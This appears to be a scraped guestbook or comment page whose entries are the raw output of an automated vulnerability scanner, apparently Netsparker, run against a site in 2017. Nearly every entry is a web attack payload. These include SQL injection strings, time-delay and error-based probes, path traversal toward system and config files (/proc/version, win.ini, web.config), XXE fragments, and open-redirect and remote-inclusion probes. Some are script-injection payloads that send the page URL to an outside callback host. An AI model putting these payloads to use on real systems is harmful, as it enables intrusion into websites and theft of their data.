\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n ::1/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n 'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n '+netsparker(0x003E56)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:25 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E54);\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../var/log/apache2/error.log\r\n

\r\n
\r\n

1 WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n netsparker(0x003E52)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error_log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:24 AM\r\n

\r\n

\r\n 127.100.11.2/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n '+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxuzq7qo7pydxgmnhzse_kgjmgziils9m'.'jwe.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

' WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n 54.204.37.212/elmah\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:23 AM\r\n

\r\n

\r\n (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)\r\n

\r\n
\r\n

\"+gethostbyname(trim('o010_rdnxufondmf8mxmraqqbef599semzo1qzka'.'hew.r87.me'))+\"

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n testsparker.com/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n /../../../../../../../../../../etc/httpd/logs/error.log\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n %27\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:22 AM\r\n

\r\n

\r\n http://testsparker.com/elmah\r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxujk-xulmgbzrj_8wlm6jihs9v8v3gmv'.'isu.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuauehqbdj08dzofhtepdxmdqqsesxlz\"+\"itg.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxufmfledms0tqb-1uyw_vpf6mzacya_v\"+\"nwu.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(trim('o010_rdnxubc6b3rfauci7bvah5bijza6nghslqx'.'vu8.r87.me'))+'

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n 127.0.0.1/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:21 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ',netsparker(0x003E50),'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/self/fd/2\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:20 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/iis6.log\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:19 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuwhgl88bi8g4kouzjeccvmq-c0vskuw'.'kzu.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+gethostbyname(trim('o010_rdnxuq74jc83y023k8avv9_bl50c1ox1rkp'.'bq0.r87.me'));//

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhsrkq3ylfvsy-ievxuw1rbhe6y0sjd'.'atu.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n ::1/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxuhny73xk8qwgshpfn2klqe8-mfu5cih'.'1kw.r87.me'));

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:16 AM\r\n

\r\n

\r\n 127.100.11.2/elmah.axd\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxutmd8812f0gy5djglocblsppudzq9yx'.'pc4.r87.me'))

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//windows\\win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \\';netsparker(0x003E4E);///\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n c:\\windows\\win.ini\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxunuigphpvvkn4amt0hw11kzg3aicg9t\"+\"lty.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:15 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \"+netsparker(0x003E4C)+\"\r\n

\r\n
\r\n

gethostbyname(trim('o010_rdnxurnl-hzwr_abbig3zxzlxbszllhgf7j'.'xqk.r87.me'))

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\u0000.aspx\r\n

\r\n
\r\n

\";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxucoe5clqmxxmeebhuyv-ug5nzsrd-hh\"+\"dhq.r87.me/r/?\"+location.href;document.head.appendChild(l);//

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:14 AM\r\n

\r\n

\r\n file:/windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n '+netsparker(0x003E4A)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n 54.204.37.212/elmah.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n /../../../../../../../../../../windows/win.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:13 AM\r\n

\r\n

\r\n o010_rdnxurtuqnedkm7atmvcpmyua8haywhucwdoyx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n testsparker.com/elmah.axd\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n /../../../../../../../../../../web.config\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n */netsparker(0x003E48);/*\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n http://testsparker.com/elmah.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:12 AM\r\n

\r\n

\r\n c%3a%5cboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n file%3a%2fboot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n body{x:expression(netsparker(0x003E46))}\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:11 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n n;ns:expression(netsparker(0x003E44));\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n php://filter//resource=http://o010_rdnxu9kdfepoeiwpxwju9dydxwr8og6j5kehfb.r87.me/p/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:10 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n http://o010_rdnxu8r3qe8x1xwizm6w-a2it_y4nacd-oftvx.r87.me/p/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 127.0.0.1/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:09 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n <%a style=x:expre/**/ssion(netsparker(0x003E42))>\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:08 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

o010_rdnxua8t29ijj5lcsqcl7xpweyk2i6ljvp96in.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n ::1/trace.axd\r\n

\r\n
\r\n

o010_rdnxu6tcixy-avunkhsze-67jxpjgkl4jksqxh.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:07 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxuu2ie2xhes7eeg9zgowwk3o0idqxj6kon9.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n javascript:netsparker(0x003E3E)\r\n

\r\n
\r\n

php://filter//resource=http://o010_rdnxufbfzmvyntutgafdsxhw5gr1uxox5yeqjz.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n c:\\boot.ini\r\n

\r\n
\r\n

http://o010_rdnxum5-4l2p9tvdmecwn6htpm4dqeunruu3az.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:06 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://o010_rdnxu_3dmwrd8xvoyshzzkya2kvt_ls1wahl3f.r87.me/p/

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n file:/boot.ini\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:05 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:04 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 127.100.11.2/trace.axd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n %dtd;]>&a;\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\u0000.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n 54.204.37.212/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:03 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n testsparker.com/trace.axd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:02 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n http://testsparker.com/trace.axd\r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:01 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:00 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \">\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n https://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n '>\r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:59 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:58 AM\r\n

\r\n

\r\n //r87.com/n/j/?0x003E36\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n //r87.com/n/n.css?0x003E34\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:57 AM\r\n

\r\n

\r\n http://testsparker.com.r87.com/?\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n testsparker.com.r87.com/?\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n 1 ns=netsparker(0x003E2A)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:56 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%dtd;]>&a;

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n ///r87.com/?testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n '\" ns=netsparker(0x003E28)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'

\r\n

\r\n 8/23/2017 8:07:55 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /\\r87.com/?testsparker.com/\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n /../../../../../../../../../../boot.ini\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:07:54 AM\r\n

\r\n

\r\n r87.com/?https://testsparker.com/\r\n

\r\n
\r\n

http://www.example.com

\r\n

